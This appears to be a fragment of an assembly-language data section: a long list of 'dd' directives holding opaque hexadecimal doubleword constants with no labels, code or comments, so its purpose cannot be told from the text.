0BB8EB7A0h, 5D386C8h dd 2684DA92h, 6366082h, 0D8449895h, 1EEE9DDDh, 5190B4E4h dd 9B49F063h, 2A7D442Fh, 0D3E0D6BDh, 0CE0B44EDh, 0A8A22D3h dd 0C872BBD8h, 0B120D49Fh, 0B7959C97h, 0F69C2635h, 0F66D3F2Bh dd 0E890EF05h, 7FB66599h, 53A9572Dh, 97F83251h, 5E303D90h dd 5167FC9Bh, 0BAD72E2Dh, 6721740Eh, 8E4946E8h, 0E8DEB4FAh dd 25E9E411h, 0F182D2B6h, 0A3C15F87h, 8F9D85C6h, 82971329h dd 0AEA894C7h, 1AE8FEB1h, 725EA926h, 0B8664041h, 1A3D0F27h dd 634CF13Ch, 4676A6A0h, 0CBA45B95h, 10451091h, 0E3139D15h dd 13B9B849h, 0B766C9F7h, 8AFD3A77h, 0C1C7F123h, 0F4511382h dd 6E57849Bh, 0B6D55768h, 16812BB6h, 8B834793h, 139FAAC7h dd 39214A19h, 0E6A98060h, 1F4B767Dh, 0F7FFED90h, 0D8147BEDh dd 0F892ABD1h, 79527390h, 755BC6FAh, 2415043Ch, 43F632ABh dd 439B07ABh, 1A42B776h, 2186ACCFh, 0ADC8E7E4h, 7264D38Ch dd 0E391BB92h, 4A9D399h, 46462E3Ah, 78087234h, 521FB5E0h dd 140FD5AAh, 864329D4h, 0F90B22BFh, 39AF45EEh, 23A42BC9h dd 4FA9EE71h, 0E53FD06Ah, 92F74BA4h, 0B3F0ADFh, 137A57CFh dd 71698B66h, 0C5A437E8h, 570320C4h, 0A830057Bh, 0E48C9587h dd 96FA642Ah, 0CA03DDA8h, 0DBD763F2h, 0E98144EAh, 421B711Ch dd 0B8AD094Bh, 0A03E6A3Ah, 2BED1FC8h, 6F3E1B28h, 98D1CE10h dd 7321D7EFh, 0BC1B950h, 4319ADB5h, 628E462Fh, 4AA846EAh dd 0A60BE0DCh, 0B124D8A1h, 0BFC50AC3h, 8BB9BC28h, 0ED6BE46Ch dd 2D648F8Ah, 0B1B15ED5h, 0E558E8Fh, 0C4DDCE86h, 655E6FF7h dd 2CF1523Fh, 0E1C89549h, 0B77BD10Bh, 0C29B201Eh, 0CE059966h dd 2E053F6Bh, 0ABF72FD7h, 98C20A9Bh, 0EE983655h, 84531FD0h dd 0EBADA576h, 895BD4EEh, 0F4BF673Ah, 39D7D653h, 4B6535B6h dd 4F72A271h, 8066FD24h, 0F2924004h, 0DCAE628Ah, 3670DA6Fh dd 8737BC05h, 0B79A068Dh, 0B245DED1h, 2CD5110h, 60652A01h dd 5EB4FF5Bh, 6D9B6BC1h, 1E22DC29h, 0F0F02169h, 405F418Fh dd 25120002h, 0E2E478B5h, 8CEEDE6Ch, 945E9562h, 0BCAC6BA3h dd 5040A60Fh, 1F828A91h, 0D8AD205Ah, 0E30B639Bh, 2DE8C9FFh dd 84665CA2h, 0D010053Eh, 0DF96D740h, 741E91D9h, 0A48585CDh dd 766AFAFAh, 4B2F415Bh, 7D6CDF81h, 697E6B49h, 3C25595Fh dd 17C826BBh, 0C85F1E9Dh, 0B8DF13B6h, 71412CFEh, 0B817FE58h dd 0D24A859Bh, 9C028E1Fh, 0FF5C8C67h, 9AFCFAFDh, 24D00C19h dd 0D68BF392h, 58FC7D06h, 5B3E8FA0h, 94E029B8h, 8F552C1Bh dd 0C11174E0h, 0EC641B3Eh, 3C32F760h, 0E1AC7417h, 0ACE83B3Fh dd 0AED00E5Dh, 32368983h, 0F1FF6314h, 0BA4824BCh, 76C5F42Bh dd 954375CEh, 0EF09204Ch, 0DD9A5850h, 0E5F547C8h, 2ADBF1Bh dd 77F1B17Bh, 0E8F26BE2h, 57E22972h, 0D39611AFh, 0F6FDE658h dd 0E8097B7Eh, 7EF1EFA6h, 0C1F3DD75h, 0E237E04Ch, 5C6AB3D3h dd 62092BF3h, 8770E126h, 0E27EBAD9h, 0AEE789F4h, 55060B75h dd 3AE13291h, 16B7393Ah, 6EA0BB0Bh, 8FF08F66h, 8F0B6863h dd 0C7473F1Bh, 0BFDC2CFCh, 0B86C032Ah, 89FF5BA4h, 35246C6Fh dd 1FA954ACh, 43F16A75h, 12A00EC6h, 0AA91A039h, 27A40314h dd 2A5E5A47h, 68B4550Ah, 7EA3BD88h, 0ED481BCEh, 0C5B879E7h dd 0BCCCD8F8h, 9C425844h, 0F2971A07h, 96D30886h, 3BDD740Dh dd 3CD36D87h, 0C906DE40h, 9B823510h, 0E11EFB7Ah, 0A420F619h dd 8BDDF6E3h, 3F0B9247h, 0DDE50DD5h, 2803E03Ah, 4A3E7F00h dd 0B0BE2DBEh, 2681780Ah, 0AF61A574h, 0BFD8264Fh, 0AD6BBB24h dd 24105BBEh, 2AEF3251h, 0E3EA3A7Bh, 0EFF832DDh, 677062D3h dd 7DB9D9D0h, 0C5AF3D7Ch, 252723CBh, 142CF0Ah, 0BB1FD2A5h dd 96D54A40h, 4280B6AEh, 0F27AC5E3h, 7EE31240h, 992AB8CDh dd 8A1AF83Bh, 0AF9A1481h, 6255BD23h, 760F4343h, 6C6B1CA3h dd 0AD0CEB2Dh, 3EB11Fh, 0EB36BE36h, 77CAC5DEh, 0B2F1FB24h dd 0CD9386B8h, 0E4AF1DB7h, 24ADD7B7h, 0FFF89910h, 848E60Dh dd 19977AD8h, 3102CB7Ah, 0BC2B3408h, 2FF7F5C4h, 0A684CDB3h dd 53EE9841h, 2F56045Ch, 0C8B16C9Ch, 0E51B2CB9h, 66085863h dd 0CAAAFE9Bh, 892569ACh, 9E812E7Ah, 4843C8FCh, 8C0B07A9h dd 0D835A988h, 577AA9C0h, 0AA33BFD7h, 0A239B063h, 82F80FA0h dd 0B9602464h, 98DD5661h, 0E445D10Ah, 0A250CD0Ch, 3188C824h dd 0BD353FB1h, 0F7F62523h, 7E3B24B5h, 0C608B71Bh, 9C218CC5h dd 9E4C160Dh, 72DA138Eh, 0C590358h, 0C0052563h, 25C1BB8Ch dd 0DFC9F141h, 0D0F77003h, 98AD7A18h, 0ED81EB38h, 0E2727BC3h dd 0F9ABA36Eh, 0FD9768B9h, 858BD56Dh, 687054ECh, 87D3ABFEh dd 0B47B9B43h, 5C8AE0CEh, 4001EDA2h, 18373E5h, 95BE1D10h dd 0D8E6C9DDh, 0B2E2A370h, 3F7BEAF1h, 8C4BDCCCh, 0C268FB1Ah dd 7A300F98h, 6A047E1Dh, 0A873198Bh, 0F821B158h, 6E8FA9CAh dd 4FD96B33h, 0D584192Dh, 59B5B8Dh, 757583B6h, 2F25D851h dd 0C99A3BD3h, 0BC2A6D50h, 0B3CDB0E1h, 0C7E9C6D3h, 3BEC8B0Bh dd 577CA894h, 2BDF76E7h, 806ABD35h, 59A2C51Ah, 0CA5565CAh dd 7E1FD81h, 6B49CFD0h, 622FE1EAh, 3975B522h, 0FD84352Ah dd 6D238A32h, 0E99BECFEh, 67D9D337h, 87BF8CCFh, 81C0D975h dd 6A67F295h, 9E2BD8C7h, 4A2287F7h, 944DC045h, 0B02B9E7Fh dd 71A0DA00h, 0A0B285E5h, 5EEABB83h, 0DC309A0Eh, 1AD8ACBFh dd 0D516CD10h, 7DD1BDAh, 82A250C1h, 8BF5054Fh, 66BA271Bh dd 23F83F4Eh, 0AE5BA2A3h, 822BDF09h, 54869064h, 0A625C6F6h dd 0B865B7A0h, 5A2872CBh, 0C539BD26h, 9AD551A9h, 901D657Dh dd 7CAA8E2Ah, 937D6E3Ah, 740839E4h, 99A36F88h, 1EAE93Fh dd 0A6F66A17h, 4DF734DDh, 7D72F370h, 22AFB1EDh, 4E91F024h dd 599DB81Bh, 6463405Bh, 27373A68h, 0A8989BB3h, 29B04804h dd 0AF359124h, 0C7A9CFA0h, 0DF49532Fh, 4950E2D6h, 0B2DF53EAh dd 0BD110266h, 0CFE99047h, 362FBCF2h, 42B108D0h, 2E3990D4h dd 0F0DED47Fh, 64B3AAE7h, 36211768h, 30ACED7Fh, 95341DAAh dd 0CCE82A87h, 0D4A03104h, 1B0F26D9h, 758D82ACh, 958858CDh dd 0AC4F0E3Bh, 2DB83E3Fh, 0B6F98F2Dh, 0B255DFE5h, 0B38FD9B7h dd 0DCE44707h, 52EE54D2h, 0A8C1961Fh, 4462B37Fh, 0E7C29061h dd 9455D338h, 0E16639A8h, 7DC57921h, 0C2380E3Ah, 0AF7EE5F2h dd 16C0679Ch, 7009B274h, 0ECC2F6DCh, 75A901Dh, 9D2C070Ch dd 0FD27FBEFh, 6191A89Fh, 0BE37E5D9h, 75B3D047h, 46376D51h dd 38271E53h, 6BFBC93Dh, 9C3D4CD0h, 0F156A7FCh, 29EAD8EAh dd 2A06CDD3h, 0CBDA94EEh, 37068BA8h, 6AA63B41h, 0EF6C3F85h dd 5B61FF52h, 4396D19Bh, 608EBB9Eh, 459B3C43h, 37387574h dd 272F8EA8h, 69333B1Dh, 2F927EA5h, 0DE0D02F9h, 0F15D845Dh dd 18B82CE0h, 45A3386Dh dd 67512D21h, 24DC71F4h, 95888D6h, 14686271h, 0E109D8D8h dd 0F4E6ED1Ah, 0CF45E2DBh, 0C45F23C2h, 7CD787Ah, 0DBDF6F3Eh dd 559C246h, 0A1A01CCh, 0A53C0115h, 122EFBE1h, 58D7BD3Bh dd 0FFF791DBh, 33942FF5h, 6881DE3Ch, 4DEF024Ah, 0F6935B5Fh dd 0FBEA4E8Fh, 5C5804DBh, 9DBE41AFh, 0ACD2A52Ah, 0A0A868C5h dd 5FF59DFEh, 339C3E9Bh, 0B6398A98h, 72D6EBEDh, 38CF794Eh dd 0E1023BA1h, 0B5E1CACh, 0B129D849h, 0D47C34Fh, 0C71E2AF4h dd 90FDC367h, 317B46DBh, 9B549918h, 2D1AD23Bh, 3A24A160h dd 9174DDCFh, 9E1C95BCh, 7414C3A0h, 0F4A8E3F5h, 1FF948AFh dd 5C497E7Bh, 0CB5060B6h, 63846C4Fh, 0EE05877h, 0EB184D4Ah dd 358D37CCh, 0A9C01A68h, 64975BE5h, 2609882Ah, 5D62715Dh dd 0B28F33B3h, 398AFB1h, 590AF94Eh, 0B88B52CAh, 0C13EC36Eh dd 91B68464h, 0C422E825h, 495C699Ch, 0A071E960h, 0B3E9ED99h dd 24440A53h, 9129F30Eh, 0D1DAC33Dh, 0ADD47EB5h, 75EF8582h dd 2C21F47Bh, 2CF143F8h, 41858936h, 5EB44128h, 0D2C41A87h dd 0E46676FEh, 0F974E8E7h, 31B4D752h, 0C5E622D2h, 0C7DDAEB1h dd 0DF14467Dh, 15349B4Dh, 858BD87Ah, 0B2D9DA7Bh, 18E2F40Bh dd 0DDFF9BC4h, 0A8D9723Bh, 0F8FD99F2h, 0B6D702DEh, 9E3F50BDh dd 0D483F8F8h, 11B6CCEh, 0AA2E03Fh, 0BE5F35F6h, 0FCDF0398h dd 2FD72282h, 427CA9C9h, 9A157E04h, 8FA43C69h, 0A3944DBEh dd 83BC6373h, 0A29B9A47h, 0C233B609h, 0BB1A22E9h, 7E152572h dd 389E874Dh, 998CD3B9h, 4B3C106Dh, 180F54E7h, 0AD9639DAh dd 0A0DC7C90h, 9E3FB92Dh, 61B88898h, 0FC862B2h, 3778A1A1h dd 0DF34D8EAh, 0B2DC8F67h, 8AEFB9B7h, 942D0D30h, 0F4FAF95Eh dd 0A957F4F2h, 4A9AD261h, 66C415FBh, 0B1DE1CD7h, 66400F39h dd 8C9929E5h, 4B6BC668h, 0E57C74CFh, 7A7FBB18h, 81E856DDh dd 7F29766Fh, 0B84B3A4Fh, 1C8625A4h, 0BD14D3BBh, 6114CC63h dd 7AD0E638h, 0FDD44309h, 0FB9E418Dh, 0FCC3D0C0h, 0DAAEEF7Ah dd 33A5480Ah, 6131F33Ah, 0D0AFFFE2h, 635B2DBDh, 5BBC2F33h dd 3BA1EE79h, 7E4D5C1Ah, 92E27DA9h, 804533ADh, 738185CEh dd 1900C608h, 0C692DA70h, 4636BDCAh, 0ECD3DA31h, 0DF83AE5h dd 0D6F58D1Ch, 3CDD34A0h, 0BF804D93h, 72ADF156h, 5E033E7h dd 620BE084h, 7BA15DF2h, 0E3B7D7D8h, 19F4B0E8h, 916A46EEh dd 9B7B5FCBh, 0AFD8FFBAh, 8893B320h, 0F8BB804Dh, 4B1B62AEh dd 0A04FE03Ah, 8D8FCEB3h, 0CB8DE3E1h, 3E1E232Dh, 38BA81D0h dd 0E72A7A06h, 0FCA94A14h, 0CC8030BEh, 0A77F0A70h, 92D3C39Ch dd 0A936CA4Dh, 43DA386Eh, 0BF0EBA94h, 910BC63Ah, 1846675Eh dd 5546F457h, 0E95120B7h, 8C9B743Ch, 2E5CFC18h, 93B6B0C7h dd 13DB4E49h, 6B0D0749h, 40EF2912h, 0B414E649h, 0EABC2Fh dd 3A2C9DACh, 0DA33068Bh, 11CD0205h, 1EF13E5Bh, 0D14B7792h dd 35EBE8A7h, 0A3C234DCh, 48A0D721h, 0E7BCF4FBh, 0D31F93F2h dd 9A5339D8h, 86AD9C49h, 0D2D39D64h, 54DEF900h, 0E2ED0FFEh dd 644089D9h, 38647B28h, 8C7C91B2h, 3AEF653Eh, 0FABC4F9Eh dd 2FCEBD3Ch, 7870F487h, 4E505DDCh, 5D8798DBh, 0F90532E0h dd 0BF79F3B0h, 0EAD7CD43h, 0F279418Eh, 503E2718h, 0AD6B36D8h dd 0E02A0575h, 0E82E47Ch, 0FC7CB46Bh, 7A34830h, 912FA557h dd 6728D7A6h, 0A6E7A97Ah, 6570A593h, 4769584Dh, 9F296EACh dd 0BAF010CDh, 0ABBD9181h, 7F42EC7Dh, 2C5DAF3Bh, 6DCCC962h dd 660AA515h, 52940A4Ch, 0EB553BBEh, 718684FAh, 84E72C18h dd 8ADC2D5Eh, 9455C24Ch, 5DDEB4FCh, 0F6DB4471h, 0CF9AF10Fh dd 0B10FA85h, 47A36041h, 94D8B097h, 61489FA2h, 0B34CFE23h dd 0ADAD0426h, 41C01399h, 74847123h, 0A0272F6Fh, 2C81BAD0h dd 93598A95h, 3373592Ch, 0F8734982h, 0C06AAC5Dh, 9DB38BB1h dd 39FEF543h, 917890F5h, 8B1CC354h, 0CDCD4817h, 5758518Eh dd 0E4608D3Eh, 0E274782h, 7F7ADB47h, 5BBB6A61h, 0D81B4E5Ch dd 1AB80596h, 21A9DC68h, 6164FEFBh, 204A530Dh, 0F48FF2FDh dd 89A92033h, 58023619h, 7561E338h, 0F6E84B0Ah, 1F04B5B5h dd 3B66F504h, 5EB68E6Fh, 442F4AFCh, 245A1CE6h, 4E0F622Dh dd 4ABE75CFh, 7E67D345h, 0A57F3271h, 56C04ECFh, 0AA450258h dd 8C04ED1Bh, 0C0EA461Ah, 7AA03522h, 92406421h, 0D6444ECDh dd 0D9B7E4D5h, 0E1B1E3B8h, 4BC14BD0h, 1BE5BC0Dh, 66600313h dd 0D99B234Eh, 0FC796D68h, 3D0AFA4Fh, 3B7907F3h, 1E7EA54Fh dd 77ABBB76h, 0DE42030Dh, 979515Ah, 0E9509763h, 667B606h dd 7DA092BDh, 0C54E1929h, 7AB0CBF9h, 66B24013h, 9944CD6Ah dd 5926EEF8h, 392D960Bh, 5A87D0A2h, 7BA27BACh, 8C116DFCh dd 0B8A2BD87h, 1B2BD57Fh, 7BFE425Bh, 3443656Eh, 64276D7Ah dd 0E09AA89h, 7DD42F0Ch, 6AF1A77Ah, 1FAA851Eh, 0DB3D0FF8h dd 6F6D3B01h, 0B1FF852Fh, 6BA8FAD2h, 51D01E50h, 4B2A601Ah dd 75BFEF1Eh, 38E8D9B3h, 0E4F111A8h, 0CEF9FDE0h, 0C72CAC70h dd 6204BDA9h, 0A960C4EAh, 5FB83274h, 0FA109B80h, 0A04A124Ah dd 5BB2919h, 0E9818017h, 56D16904h, 0EB164C4Ah, 0AB0B1293h dd 0C420F4F8h, 8FEDB9h, 0E7CA6643h, 5979379h, 653754B1h dd 0F7AF8C6Fh, 0D1FB331Bh, 6F66F0D0h, 163897A1h, 9CB8C350h dd 941C5867h, 485ACF85h, 2345F2F2h, 0B37F085Dh, 0AE21A79Fh dd 0D8657540h, 0D8DB359Dh, 59C2595Fh, 28F1A0C2h, 0D11973DBh dd 0A0BF27A8h, 61357CD2h, 57C7FA0Ah, 0A379AB66h, 880DD37Eh dd 837B38D8h, 440A2099h, 53762B95h, 2C2B9310h, 1265173Bh dd 53D5DE15h, 688A6EC9h, 0F0B7C482h, 89895D97h, 0E1CE1FE1h dd 0E9DD96D0h, 31993B8h, 0D34BBB7h, 13FC626Dh, 1A21243Fh dd 0D40B407Ch, 0CF7C5FDDh, 0F0E534A1h, 6641F157h, 6A736243h dd 5ACB6DEAh, 32BD8739h, 5DA79B44h, 0FF5588h, 0CD19162Ch dd 10CB9E10h, 0E9DC407Fh, 6A8D0701h, 71186A3Ch, 0BD791974h dd 4514FDC8h, 0FA7C82A7h, 56E75411h, 0BB08F79Bh, 4CE4515Eh dd 0F190A10h, 0DF02A2D2h, 0B35B64CEh, 19B6AB90h, 925D63FDh dd 3D930C54h, 34BE0C61h, 8E090CA8h, 101510B1h, 9E7DB7B5h dd 7640CD4Bh, 6D19C2C2h, 20CAD22Fh, 0CD872EE9h, 823DB5A9h dd 0C6CF5006h, 423404B0h, 6A49F4C2h, 5EC390D9h, 3A33A4ECh dd 0D2BB3B42h, 2890DE49h, 81A328D5h, 3E6CDB40h, 9CD02FD7h dd 1A6B3B41h, 38902D65h, 0A86D5423h, 0E8CFB460h, 55A4A79h dd 8D37924Ah, 0B9201EB6h, 3CC82FF5h, 48EEE3F3h, 4EF3C3AFh dd 0EC29D4F9h, 7BE673FDh, 1E55A3D5h, 0C1552F36h, 48560B98h dd 0D35F8375h, 0B2F0010Bh, 1E619C78h, 1927812Dh, 0AF1BBEDAh dd 307BD768h, 7E18CE90h, 0D3CA990Bh, 6F575FF8h, 0D1A8743Bh dd 118CDC03h, 0DBF02C32h, 6750B747h, 0A839AEAAh, 8A0AE636h dd 8914E7C0h, 1F4E94h, 538317BDh, 442FA2D2h, 0F7C35906h dd 5FB62175h, 0B850446Ch, 732868FEh, 3A23217Bh, 2859D7BEh dd 66E547A1h, 0E54BCE0h, 0C410E8D8h, 2F592496h, 15D8CE9Ah dd 0DDD0E5F2h, 0BA87899Ch, 6CA5F27Eh, 940CAB82h, 1496ACA7h dd 6C789117h, 0DBE9D717h, 0D59EE6E2h, 2F9D70B0h, 2E3F71AFh dd 93D17E02h, 38E54BF8h, 5F6EDBF2h, 309E7E93h, 4F7AFA7Ch dd 5A06475Fh, 66B46B4Eh, 1565B343h, 66362564h, 22999B4Ah dd 328B004Bh, 74134159h, 544B55D0h, 9C85F20Ah, 0EBA44B33h dd 20A21210h, 54A71A4Dh dd 70494754h, 0C8EC1D8Bh, 174AC3C8h, 31165477h, 0ECD34436h dd 0D7A0877Ah, 96DFCAAAh, 0EA47A409h, 0E1609905h, 83E04E2Dh dd 2FB6153Ch, 0B6F22C42h, 3429084Ah, 8F9D7E1h, 0E2A2DEF1h dd 5124334Eh, 60EF23CAh, 144D92F2h, 0B27F06E5h, 0A2CD74ACh dd 20B0634Bh, 7138BC56h, 4541CFEAh, 384B8F22h, 57A9AED3h dd 7A000257h, 791656BCh, 162F9118h, 5126D843h, 0C8D9394Fh dd 5810566Ah, 0B92C46Eh, 0DDBB29CCh, 76CCCA0Dh, 0DF229EB8h dd 1CDA7058h, 1379961Dh, 77A5D830h, 0BF0842D9h, 41EDA551h dd 0A2F878C3h, 24B64C91h, 6FA6813Dh, 0D7E087BAh, 0D9FE81EDh dd 0D51A437Dh, 0FBCCAB58h, 2CCC65BAh, 0A046B69Ch, 0E5935029h dd 69A9633Ch, 3AD26E63h, 9A0C4699h, 0E18AE167h, 0D66EF525h dd 14C651F7h, 0DF47C33Bh, 55CFBE2h, 6FFC5487h, 7E3B227Ch dd 2EF9CFA7h, 0CC7ECAE5h, 0FDE237A3h, 0E205ACEh, 0FC73E249h dd 36A83F8Dh, 72858Ah, 5A6DBC33h, 449A5744h, 9771B45Ch dd 9833DD60h, 4F2AAFD7h, 651F72F9h, 7C0C549h, 3A464FE3h dd 7D5F5801h, 6ADC1EF1h, 0B05588E3h, 16899196h, 0F75A37CFh dd 0BE5C1788h, 96102B3Eh, 725B76DAh, 0B48EE226h, 38EBE70Fh dd 550AACD3h, 24FFCF32h, 0EA84B99Ah, 6A861880h, 0C3252E2h dd 1D32C9DFh, 0F9DFA900h, 3E727D01h, 21A37274h, 786DCA4Eh dd 4533F4B4h, 27C5A25Ah, 0F26D615Bh, 0E9B26A65h, 0F623B91Ch dd 6BCD4D79h, 9AB6BA0Bh, 71C91768h, 81AAE198h, 17079BDh dd 0CE9F9B53h, 3B628897h, 0E8F1BE0Eh, 9A0D7A27h, 1C206AEEh dd 952CD353h, 0FE83C90Ch, 7809EEC8h, 22CFBD76h, 8F349753h dd 0E2B80F19h, 0C987E8ACh, 8657402Ah, 7E03878Bh, 0A5548EFBh dd 7BB927CBh, 373E7EFDh, 71893334h, 21035520h, 24E28845h dd 9BF01ED6h, 0EA81CB37h, 0C1303077h, 29A69ED4h, 9561D712h dd 0E4242A3Bh, 6B4AE70h, 0E79AEA66h, 0EB1554FBh, 0F450ED10h dd 0F539551Ch, 0C7F37381h, 0E61DCAC2h, 0C147810Ch, 2F5EDF67h dd 64CFF153h, 0FCD0D465h, 0B317F642h, 0EA01B16Dh, 0B0B95533h dd 6C400D20h, 3C68FFC5h, 0DE994189h, 3D6A6665h, 93C6469Ch dd 5D3BE191h, 212DF5E3h, 0C75EABB3h, 0D91CADA3h, 8778526Bh dd 0EF90CE0Eh, 0DE40661Ah, 3242D4B2h, 0EADFC689h, 73CC260Fh dd 0D0094E90h, 0C613D9DBh, 0A41E087Ah, 5CD34DC2h, 0E6EA0952h dd 5032EA21h, 0C310811h, 19B0BDA2h, 0A1358BE1h, 0DB984EEDh dd 0DB001CF3h, 0A18FCED2h, 0D5F6DF11h, 992F53CBh, 0D01817DCh dd 0B8225414h, 15BDC57Ah, 904C5C25h, 8C1ABC48h, 34AFA40Ah dd 0E6F55443h, 27F51E15h, 0C8DAA754h, 0C6C3DA5Bh, 9FED0B70h dd 418AAA7Ah, 0C35A91B9h, 7C5C450Fh, 0CE294D96h, 3EB01F2Fh dd 0CF3A4E8h, 0CF75BA80h, 8B77A04Ah, 16CCFB5Ah, 19B40736h dd 0EF08D636h, 20EBEBEBh, 12544F1Eh, 157A3054h, 0CC77844Fh dd 43124FC1h, 0BE108C3Dh, 963D286Eh, 54A71F5Fh, 6AEB4CC5h dd 7647DDF4h, 0DC04D864h, 0A62DEA82h, 0C80EDD7Bh, 8989EFA4h dd 89A856DCh, 0B2CC7052h, 0B2E6D95Fh, 8EB61CB9h, 2F93B762h dd 0C17E999Bh, 0B4B973C8h, 0A97828EDh, 0B661D843h, 0E1806BC9h dd 463507C4h, 0A09FF990h, 4B24FEC6h, 79E8EF40h, 36946FE2h dd 0DD36531Dh, 59AF84Eh, 8EA61F44h, 0F0B7F117h, 0E70E29A2h dd 0E4E5C7F5h, 161981FFh, 3660AA43h, 0EC447F4Fh, 0AD2C03C7h dd 0F3E06177h, 17F4FFCh, 8F8F8AEh, 0D9D3D8D1h, 0AF098A7Ch dd 0FDAFF233h, 3EAE3634h, 85B74BF0h, 171AB75Bh, 0A64E8216h dd 53265EE8h, 1318A859h, 0AC54C97h, 0B574A4ACh, 0C6600FF0h dd 2D0A887Dh, 3D9FAFAFh, 4F77B690h, 0D51F5049h, 84FC84h dd 0C8D2B153h, 3B6AB7ACh, 4F5F5477h, 1AF3111Dh, 48FF126Eh dd 0AD308335h, 0F6978D2Eh, 1660ACE0h, 0ED003B70h, 631A0E55h dd 0C47EB577h, 978D1FF2h, 0F16BEE5Dh, 0BC39C7B4h, 9AECD778h dd 95EF3FE8h, 64BF1F6Bh, 3A70A818h, 5A58988Ah, 0AD838609h dd 0FC0FDDBh, 0F3104CDCh, 94EF3066h, 15069682h, 0F88EF6D5h dd 5FD199ABh, 34EE3768h, 977EC1AFh, 0C95D2ADh, 88B55Eh dd 0D6FEA87Eh, 0FE25603Dh, 669A92A3h, 0BE704B41h, 3210CD57h dd 89F57B03h, 0E131F4F7h, 5AF0A22h, 0A9030CC2h, 523DB9CFh dd 60099048h, 32135BF3h, 0D184E915h, 0A3EF2C0Bh, 0AEA7DCDEh dd 0B8A2EC40h, 2A391C40h, 94C1D7C8h, 0D86CE0A6h, 958A2B27h dd 6706024Eh, 59F6AAC0h, 0C3962D6Dh, 80C3B639h, 0D09F9C65h dd 5BF38C68h, 0CCE34F09h, 0C053C74Dh, 9D6FE24Ch, 0C7217791h dd 5F7EE71h, 4B6E5700h, 0C630EC37h, 7B12B3E0h, 7429A19h dd 0E6D9548Fh, 0DEC3CA8h, 3D0CEBA6h, 0F0BE787Dh, 3AC6925Ah dd 0ADC8AF8h, 0F572A966h, 0E88450C6h, 0BAA8AAA4h, 854E89D4h dd 990C1FC7h, 247C85Fh, 2655448Bh, 0F9F9B84Eh, 33ACDCDAh dd 858D4A0Eh, 0FAF36764h, 0C10B7FB6h, 0C0BD545Ch, 0D0B28792h dd 0D22FA1CDh, 817A2012h, 0B399BDCCh, 3BC596F1h, 0D78E9C1h dd 1F813DA9h, 2853F588h, 0EA5F230Bh, 338CFB87h, 1AB7A3D5h dd 0B5FED3C1h, 0C25115CCh, 0D0DEE72Fh, 6F829770h, 0A7456D6h dd 5E3D4B09h, 0D08F1852h, 38BC767Eh, 7AAB1F2Fh, 0AB0BB8FBh dd 0A630AD86h, 0EB6C0EFAh, 2A4863B1h, 3F3BC776h, 170146ADh dd 0F4EC09EFh, 81735F74h, 4AE216A8h, 667D8AB0h, 383803BDh dd 693B03AAh, 0BA4484B1h, 0E6710AE7h, 9587E442h, 6338526Ch dd 2657820Ah, 0A7DB179Ah, 0D6AC2697h, 0CA34CAEAh, 3BAB97F0h dd 165FFD8Bh, 8CAF4E70h, 304E6918h, 3211BDEh, 0E575CB30h dd 0A8180B42h, 0C8A70B9Fh, 0CB5B1D65h, 17CCD985h, 0D072A7B0h dd 2A8FBF93h, 0FB52C0FAh, 0B6D91756h, 74740AADh, 0C62A4DEEh dd 205E6DF9h, 24634873h, 8A870A09h, 3ACD372Eh, 0E8E31099h dd 0AAEC1D83h, 6084E2A2h, 898DA061h, 0D246AA04h, 612336F4h dd 0BFAAE7F5h, 87BF6694h, 55C24133h, 1E6F0E1Ch, 11A0FDC0h dd 0ECD237A9h, 5F79299Bh, 71998A43h, 0E33509CDh, 440120AAh dd 62C29B85h, 0FF8CBF7h, 7BA8043Ah, 0E6F1132Ah, 0E2747EC3h dd 242329BEh, 69A94748h, 51DD3190h, 7FBB4578h, 120B8A1Fh dd 0DEBFEDC3h, 3D1B4837h, 0EC0C35F2h, 0BD23C10Ah, 50CEA24Dh dd 0B97145F6h, 4A6FB1B8h, 2A9A519Eh, 8F7CA435h, 0A4E38429h dd 0F5F5A85Ch, 843D1974h, 0F427036Eh, 7459BEA8h, 2521A110h dd 9E39797Dh, 0F98EED7h, 100309A7h, 5186B6B5h, 0F348D63Eh dd 0C505EF48h, 3A6454BFh, 0E3C787B8h, 0F343B0D4h, 0C670482Ch dd 6491324Dh, 10AE16ABh, 7EB32A6h, 0ECF47C9Bh, 6B8E480Fh dd 0FBB51B5Ch, 0F1B26D65h, 0E124A896h, 790AC5D1h, 0AEB997F7h dd 2D598191h, 0BD424552h, 4FE18ACBh, 7D8DE4BFh, 6606E193h dd 5864B219h, 39D68876h, 57DC271Dh, 86DCCF44h, 993DCFB9h dd 868218AFh, 4374C64h, 193D4EA0h, 0FF9D8E4Ch, 0ED30922h dd 9A28B618h, 0D9F01DF5h, 5A44B58h, 6C7B73DEh, 798CA9Eh dd 9317F628h, 12A17AB8h, 202B37CFh, 67ECB61Bh, 0B9A143D6h dd 1F2F30E0h, 0B9C2459Dh, 0CBE51242h, 0CED1312Eh, 39E37738h dd 995C19BEh, 6A3C825h, 79AE5D08h, 0F8AB04B4h, 410DC122h dd 6C1DD5BDh, 516FF438h, 1344D8B8h, 0A9F9A0D3h, 0E4E4B797h dd 510D8EA7h, 7EF5EE3Ah, 0AF5A80E8h, 0DE597CC4h, 79724585h dd 0E95EC86Ah, 230EF3FFh, 6035FE4h, 0B1E30FDBh, 7717A750h dd 739F2792h, 96A410D2h dd 865AF799h, 0A1F63084h, 9F639ABCh, 0C9D73C4Bh, 0E317A6C9h dd 448F93A4h, 0C13D179h, 2C472726h, 0F30E30D3h, 3994763h dd 7B3C43EEh, 0E63C01BFh, 6CD74A9Ch, 46229ECAh, 26D1D74Dh dd 3A1C56C7h, 73E622A6h, 489BFF6Bh, 0B7EF409h, 776CA24Eh dd 19155AF8h, 67A8873Bh, 6D5CE7F7h, 3A68AA08h, 22BF82BCh dd 0DC9CC0C1h, 555EB611h, 434FEB27h, 6A642BDAh, 0E314CEB2h dd 0FDDC683h, 9A24A4DBh, 34E7C0Ah, 0BC62EAFh, 0CEE32FFFh dd 0BE954346h, 799AF340h, 0EE8CF41Eh, 0F230D5Bh, 0C5B59336h dd 7F58E6ADh, 57AE0369h, 98093312h, 0E1DF1D37h, 0DAE44BC5h dd 0EF78917Ah, 0A8C86221h, 26C4BBD0h, 650B5552h, 0BD358DDFh dd 60055A12h, 5AE84470h, 308CDD86h, 3CFE7473h, 0B6213352h dd 0A760173Ah, 2D3CF03Ah, 0A52C0791h, 4C99F5C7h, 9C958933h dd 0CD2B0599h, 39A130ECh, 7B5C5084h, 582429DFh, 0D2F7B5A1h dd 52DDC2D1h, 5FA88D5Dh, 186D1545h, 70F29C92h, 64EB4E20h dd 0E0FE93Bh, 26124812h, 31588EDAh, 62A01E1Fh, 7DD8974Eh dd 7E61C9C4h, 7427B9A7h, 0CB102BBDh, 5621A63Ch, 584D48F0h 